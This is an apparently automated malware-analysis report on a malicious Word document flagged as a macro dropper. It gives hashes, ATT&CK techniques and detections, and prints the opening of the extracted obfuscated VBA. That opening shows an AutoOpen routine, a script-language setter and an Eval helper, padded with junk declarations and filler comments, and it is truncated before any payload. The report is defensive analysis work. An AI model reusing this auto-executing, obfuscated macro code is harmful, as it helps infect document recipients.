Office (OLE) malware analysis — malicious · 07bd80eff6b8453b

MALICIOUS

Office (OLE)

89.5 KB Created: 2016-09-05 22:43:00 Authoring application: Microsoft Office Word First seen: 2019-06-27

MD5: 3bf6c0a33440f1fca60a44551db66f1b SHA-1: 518a7f90bfb8dbdacca95ce93434692fc4c2ed40 SHA-256: 07bd80eff6b8453bcbc4c8c388861c7568e72548cc16f94792a0c8dd70cf6570

222 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the CreateObject function, a common technique for executing arbitrary code. The presence of the 'Doc.Dropper.Agent-6460031-0' ClamAV signature further confirms its malicious nature as a dropper. The macro's intent is to likely download and execute a second-stage payload.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6460031-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6460031-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15534 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15534 bytes
SHA-256: `2a925526c0460a6559e16038bde784a948ee0ac4ce642c06c5d95efe32dec239`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub ggunjeqemt(znurivg, vapvaclizy0) znurivg.Language = vapvaclizy0 End Sub Sub tatescod(obabhal, qikifretsy9) obabhal.Eval qikifretsy9 'roughness underpricing glorious london evacuee patois End Sub Sub AutoOpen() Dim ipetnitec Dim pojune Dim zbyprut, unvibec2, pumywku3, defnacnu, ifhaxkafwi6, dinhazjoc0, emifjehb, exjiha, enodqacq9, kamexk, ypziwjond8, fjejbyzxopxu0, uzybogrymb, mpupucjy9, oranru, ofnetza4 Dim fjopgysvyw4 Dim mdojcopatd8 'squash abysses predilection minds unlabelled wiles interviewer Dim vgobqahy, vevuwusdy, rehyty, muzvozig3, idynniq8, uslurwuff7, upixxyfcod4, joqtyf, kpezpewqyf7, ebohve Dim ircanep, icxeragvob5, jbuwozqel, ukcivdykyg0, stamiszake1, efqitza, anzasim3, efuddon, dmohann, xopilse8 Dim qgigfuld Dim fakvuzdajba, anybvi8, ewpisutw, kakavce4, acunge0, uwgesisab9, syxhekm8, yqitubi, qdottos, anewzehe, xpilqug, lbyfivgy Dim ydbotgynsoxr4, otxidgidk, ktakyls1, ohbytty, ejzupxewa8, omwimowni1, udimvuz8, vrubluvlabp8, xehdakukky, lurug0, knipebk, dwachomeqd0, tzorpihedb7 Dim owbujevoq Dim enopa 'intimidated captures doctoral mountaineering cheep vetoing armless Dim mullacyt4 Dim yzzunipe Dim nrosimop6, unviwu2, ygbepvowig1, fufyfgu0, acxyxafd, dkicenolu0, ejriho, bosigxaly, faghugudu, yzpohehi9, abvidpe8, ttajkyno, azpogide7, tetyh4, ycuzalr8, uhlyholu8 Dim uzewqyv Dim qosan, lzusfysuhme7, zkiniwc, cwufgona, okogixqe5, jowalhuq1, wkadpenv9, egjajfany, evynvu, xkatifrej8, zyzbuq2, rqufolmu, mwitsirqyhh3, etukruzc, yvfoxivy Dim ufbodob5 'luxuriously scripts rue foreland dipsomaniac multifunction drained sink Dim xxawaqpawe Dim fcavyg7 Dim vzuvfupx4, ladnultan, oqyto, ifipytavp, uftucenqi1, umzizzizga5, linonuj, gmammygveta5, vcymsuzmovlu, ubxibfo Dim zenlyqc4 Dim upaco, arazojtak9, nirsisosg0, emhugi7, omyjonxucm2, lmirahu1, vuzxiloki, ebhiprodk9, yniwi, myrjifkoge7 'calumniate consideration snagged asperity elitism discontinuous fops climber Dim bicyd Dim zosyc0 Dim esejto4, heclah1, iracpy0, jlazomhaze0, nzunxot, nlinzyqv, harbeqaz, tvijjowi, zsaseti0, ulexguhfytp4 Dim mulvywe Dim frivyfy8, eqlimpivno, ylwejo, achuzo, ukwipkezle5, qmymuc, qufepkovv5, syjoj, cnudhym, mufteqre, yqnare, zlixcunn Dim cubpymmuj, yjazpu0, lexfupxazo, yrygfo0, cxupexd, ydylilpohd4, xywartysj, bcobofy, sewfenacjy3, atnacoqa, mdalwudypa0, atafu3, jaxluk, sfyhcevc, bifvuc6 'jurisprudence denuded ledger stunting insertions Dim ywono2, exhoku, ofsyca4, ugfetbok7, nebhuxn0, nvysbyboba2, ukyxawepr, secox2, fabbytnori9, olzimban8, ektukecy, reparxu, xyzcebetba8 Dim dewsyk Dim lzactebevdy Dim rehwofg, jvinihsygy8, uhjuwvann, bazax7, dwicbesj2, linpeg6, aqhygtenymn8, tnansydte8, klamajihh8, ajuby3, zufitoja, bwazcybizz Dim erwaqlavre, umydpapvi0, ridpinx6, imdogagr, kwowrohl, sqenovar6, tvujhunzon, neqryxy7, leqxozca1, mytjyda6 'shreds tossing chain abhor tshirt optician percussively microelectronic Dim ljixdyv7, tofsuve, komownov6, kquvekew0, esjictik8, elgirma, optezore, ivity9, oqdoxog, eqzivkojvo7, yfsywuz0 Dim inoqagg Dim aqesizi, bobzokfobci, pisyhcuhu3, iwvacymmi, byddybinby, gawlozf2, ifcecosow8, gxojnetqoz, ijqakxogz Dim fqyxsijvivx1, ajyjah0, xtexudodo, lhucdyh, dmadipkap, yfvydbawx0, osyqmyg, bennisvikha7, amoxnabkuj, akyqbevho Dim axiwxu0 'beady reduces topography ploughers neutraliser irks raiding coloure Dim trymogtaby, ytezurdad8, yjpidiqvu, estivsuxni, rxohnogefa, sbugzujv, givaduqba5, ltediwm, yforcawyv6, bjoncywm5, apocop2, fbipmezveqda, wmexmypceb0, ilkoxaqno, ubupdy Dim qgohhylwopd Dim itdyvvigqovc Dim aqifpohhot Dim fgyhyh Dim ixumxa9 Dim umsanco Dim unihenge2 'undertaking disallows controller compiler font gust taped nicety suburbanites Dim fnefceviqd, qxopowe7, kcybfop, gowhempe, urawqyvz, notu, ohrele1, uktalpyx2, yxodlevr, esxyvbyrbo, osmubm9, q ... (truncated)

SHA-256: 2a925526c0460a6559e16038bde784a948ee0ac4ce642c06c5d95efe32dec239

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ggunjeqemt(znurivg, vapvaclizy0)
znurivg.Language = vapvaclizy0
End Sub
        
Sub tatescod(obabhal, qikifretsy9)
obabhal.Eval qikifretsy9
'roughness underpricing glorious london evacuee patois
End Sub
        
Sub AutoOpen()
Dim ipetnitec
Dim pojune
Dim zbyprut, unvibec2, pumywku3, defnacnu, ifhaxkafwi6, dinhazjoc0, emifjehb, exjiha, enodqacq9, kamexk, ypziwjond8, fjejbyzxopxu0, uzybogrymb, mpupucjy9, oranru, ofnetza4
Dim fjopgysvyw4
Dim mdojcopatd8
'squash abysses predilection minds unlabelled wiles interviewer
Dim vgobqahy, vevuwusdy, rehyty, muzvozig3, idynniq8, uslurwuff7, upixxyfcod4, joqtyf, kpezpewqyf7, ebohve
Dim ircanep, icxeragvob5, jbuwozqel, ukcivdykyg0, stamiszake1, efqitza, anzasim3, efuddon, dmohann, xopilse8
Dim qgigfuld
Dim fakvuzdajba, anybvi8, ewpisutw, kakavce4, acunge0, uwgesisab9, syxhekm8, yqitubi, qdottos, anewzehe, xpilqug, lbyfivgy
Dim ydbotgynsoxr4, otxidgidk, ktakyls1, ohbytty, ejzupxewa8, omwimowni1, udimvuz8, vrubluvlabp8, xehdakukky, lurug0, knipebk, dwachomeqd0, tzorpihedb7
Dim owbujevoq
Dim enopa
'intimidated captures doctoral mountaineering cheep vetoing armless
Dim mullacyt4
Dim yzzunipe
Dim nrosimop6, unviwu2, ygbepvowig1, fufyfgu0, acxyxafd, dkicenolu0, ejriho, bosigxaly, faghugudu, yzpohehi9, abvidpe8, ttajkyno, azpogide7, tetyh4, ycuzalr8, uhlyholu8
Dim uzewqyv
Dim qosan, lzusfysuhme7, zkiniwc, cwufgona, okogixqe5, jowalhuq1, wkadpenv9, egjajfany, evynvu, xkatifrej8, zyzbuq2, rqufolmu, mwitsirqyhh3, etukruzc, yvfoxivy
Dim ufbodob5
'luxuriously scripts rue foreland dipsomaniac multifunction drained sink
Dim xxawaqpawe
Dim fcavyg7
Dim vzuvfupx4, ladnultan, oqyto, ifipytavp, uftucenqi1, umzizzizga5, linonuj, gmammygveta5, vcymsuzmovlu, ubxibfo
Dim zenlyqc4
Dim upaco, arazojtak9, nirsisosg0, emhugi7, omyjonxucm2, lmirahu1, vuzxiloki, ebhiprodk9, yniwi, myrjifkoge7
'calumniate consideration snagged asperity elitism discontinuous fops climber
Dim bicyd
Dim zosyc0
Dim esejto4, heclah1, iracpy0, jlazomhaze0, nzunxot, nlinzyqv, harbeqaz, tvijjowi, zsaseti0, ulexguhfytp4
Dim mulvywe
Dim frivyfy8, eqlimpivno, ylwejo, achuzo, ukwipkezle5, qmymuc, qufepkovv5, syjoj, cnudhym, mufteqre, yqnare, zlixcunn
Dim cubpymmuj, yjazpu0, lexfupxazo, yrygfo0, cxupexd, ydylilpohd4, xywartysj, bcobofy, sewfenacjy3, atnacoqa, mdalwudypa0, atafu3, jaxluk, sfyhcevc, bifvuc6
'jurisprudence denuded ledger stunting insertions
Dim ywono2, exhoku, ofsyca4, ugfetbok7, nebhuxn0, nvysbyboba2, ukyxawepr, secox2, fabbytnori9, olzimban8, ektukecy, reparxu, xyzcebetba8
Dim dewsyk
Dim lzactebevdy
Dim rehwofg, jvinihsygy8, uhjuwvann, bazax7, dwicbesj2, linpeg6, aqhygtenymn8, tnansydte8, klamajihh8, ajuby3, zufitoja, bwazcybizz
Dim erwaqlavre, umydpapvi0, ridpinx6, imdogagr, kwowrohl, sqenovar6, tvujhunzon, neqryxy7, leqxozca1, mytjyda6
'shreds tossing chain abhor tshirt optician percussively microelectronic
Dim ljixdyv7, tofsuve, komownov6, kquvekew0, esjictik8, elgirma, optezore, ivity9, oqdoxog, eqzivkojvo7, yfsywuz0
Dim inoqagg
Dim aqesizi, bobzokfobci, pisyhcuhu3, iwvacymmi, byddybinby, gawlozf2, ifcecosow8, gxojnetqoz, ijqakxogz
Dim fqyxsijvivx1, ajyjah0, xtexudodo, lhucdyh, dmadipkap, yfvydbawx0, osyqmyg, bennisvikha7, amoxnabkuj, akyqbevho
Dim axiwxu0
'beady reduces topography ploughers neutraliser irks raiding coloure
Dim trymogtaby, ytezurdad8, yjpidiqvu, estivsuxni, rxohnogefa, sbugzujv, givaduqba5, ltediwm, yforcawyv6, bjoncywm5, apocop2, fbipmezveqda, wmexmypceb0, ilkoxaqno, ubupdy
Dim qgohhylwopd
Dim itdyvvigqovc
Dim aqifpohhot
Dim fgyhyh
Dim ixumxa9
Dim umsanco
Dim unihenge2
'undertaking disallows controller compiler font gust taped nicety suburbanites
Dim fnefceviqd, qxopowe7, kcybfop, gowhempe, urawqyvz, notu, ohrele1, uktalpyx2, yxodlevr, esxyvbyrbo, osmubm9, q
... (truncated)

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